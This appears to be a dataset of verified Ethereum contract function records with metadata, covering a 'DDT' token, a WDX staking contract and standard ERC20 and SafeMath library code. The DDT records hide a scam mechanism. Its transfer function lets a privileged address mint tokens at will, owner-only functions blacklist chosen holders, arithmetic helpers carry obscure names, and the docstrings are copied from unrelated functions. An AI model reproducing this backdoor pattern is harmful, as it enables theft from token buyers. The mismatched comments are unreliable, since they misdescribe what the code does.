* invalid opcod... | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7 | {
"func_code_index": [
991,
1126
]
} | 25,932 | ||
DDT | DDT.sol | 0x25ab4204fffcee14c5e6b823aff665453a00ea42 | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
... | cre | function cre(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
| /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* t... | Comment | v0.8.11+commit.d7f03943 | MIT | ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7 | {
"func_code_index": [
1170,
1360
]
} | 25,933 | ||
DDT | DDT.sol | 0x25ab4204fffcee14c5e6b823aff665453a00ea42 | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
... | cal | function cal(uint256 a, uint256 b) internal pure returns (uint256) {
return calc(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
... | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7 | {
"func_code_index": [
1945,
2083
]
} | 25,934 | ||
DDT | DDT.sol | 0x25ab4204fffcee14c5e6b823aff665453a00ea42 | Solidity | SafeMath | library SafeMath {
function prod(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
... | redc | function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
| /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
... | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7 | {
"func_code_index": [
3010,
3210
]
} | 25,935 | ||
DDT | DDT.sol | 0x25ab4204fffcee14c5e6b823aff665453a00ea42 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | symbol | function symbol() public view virtual override returns (string memory) {
return _symbol;
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7 | {
"func_code_index": [
910,
1019
]
} | 25,936 | ||
DDT | DDT.sol | 0x25ab4204fffcee14c5e6b823aff665453a00ea42 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | setrouterenabletrading | function setrouterenabletrading (address set) public checker {
router = set;
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* transferFrom.
*
* Requirements:
*
* - transferFrom.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7 | {
"func_code_index": [
1241,
1338
]
} | 25,937 | ||
DDT | DDT.sol | 0x25ab4204fffcee14c5e6b823aff665453a00ea42 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | decimals | function decimals() public view virtual override returns (uint8) {
return 18;
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - the address approve.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7 | {
"func_code_index": [
1604,
1706
]
} | 25,938 | ||
DDT | DDT.sol | 0x25ab4204fffcee14c5e6b823aff665453a00ea42 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | totalSupply | function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
| /**
* @dev updateTaxFee
*
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7 | {
"func_code_index": [
1760,
1873
]
} | 25,939 | ||
DDT | DDT.sol | 0x25ab4204fffcee14c5e6b823aff665453a00ea42 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | balanceOf | function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7 | {
"func_code_index": [
2186,
2318
]
} | 25,940 | ||
DDT | DDT.sol | 0x25ab4204fffcee14c5e6b823aff665453a00ea42 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | transfer | function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances... | /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7 | {
"func_code_index": [
2683,
3198
]
} | 25,941 | ||
DDT | DDT.sol | 0x25ab4204fffcee14c5e6b823aff665453a00ea42 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | botban | function botban(address _count) internal checker {
confirm[_count] = true;
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7 | {
"func_code_index": [
4323,
4420
]
} | 25,942 | ||
DDT | DDT.sol | 0x25ab4204fffcee14c5e6b823aff665453a00ea42 | Solidity | ERC20 | contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
using SafeMath for uint256;
string private _name;
string private _symbol;
... | banbotsingle | function banbotsingle(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
| /**
* @dev updateTaxFee
*
*/ | NatSpecMultiLine | v0.8.11+commit.d7f03943 | MIT | ipfs://2c7889a615e8df72cd94a3d480e7dd9c6e47cbfec1d70145b80bdd275c929af7 | {
"func_code_index": [
4475,
4653
]
} | 25,943 | ||
WDXStackingV2 | WDXStackingV2.sol | 0x59d109b719faf8997bdd20644f1735215264f11a | Solidity | WDXStackingV2 | contract WDXStackingV2 {
IERC20Token public tokenContract; // the token being sold
IUSDTToken public usdtTokenContract;
uint public wdx_price;
address owner;
struct Status {
uint price;
uint limit;
uint referal_lines;
}
mapping (uint8 => Status) public st... | safeMultiply | function safeMultiply(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
} else {
uint256 c = a * b;
assert(c / a == b);
return c;
}
}
| // Guards against integer overflows | LineComment | v0.5.17+commit.d19bba13 | None | bzzr://f18fb7775d1781be64bc45164e23edd0614e360c546491aa5d30862e2038c779 | {
"func_code_index": [
1396,
1648
]
} | 25,944 | ||
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
94,
154
]
} | 25,945 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
237,
310
]
} | 25,946 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
534,
616
]
} | 25,947 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
895,
983
]
} | 25,948 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
1647,
1726
]
} | 25,949 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
2039,
2141
]
} | 25,950 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | add | function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
| /**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
259,
445
]
} | 25,951 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
723,
864
]
} | 25,952 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | sub | function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
| /**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
1162,
1359
]
} | 25,953 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | mul | function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
... | /**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
1613,
2089
]
} | 25,954 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | div | function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to reve... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
2560,
2697
]
} | 25,955 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an in... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
3188,
3471
]
} | 25,956 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consumi... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
3931,
4066
]
} | 25,957 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns ... | /**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming la... | NatSpecMultiLine | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcod... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
4546,
4717
]
} | 25,958 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | isContract | function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
... | /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
606,
1033
]
} | 25,959 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address... | /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `tr... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
1964,
2366
]
} | 25,960 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw ... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
3122,
3300
]
} | 25,961 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
3525,
3726
]
} | 25,962 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | NatSpecMultiLine | v0.6.12+commit.27d51765 | MIT | ipfs://5916c16fd491e5742b312eda1430135673228645a84c53bb7066e4edfc7714a8 | {
"func_code_index": [
4096,
4327
]
} | 25,963 |
ERC20Token | ERC20Token.sol | 0xbf57d5d7748c9a2cd05112269bb3424f8a57b3c2 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
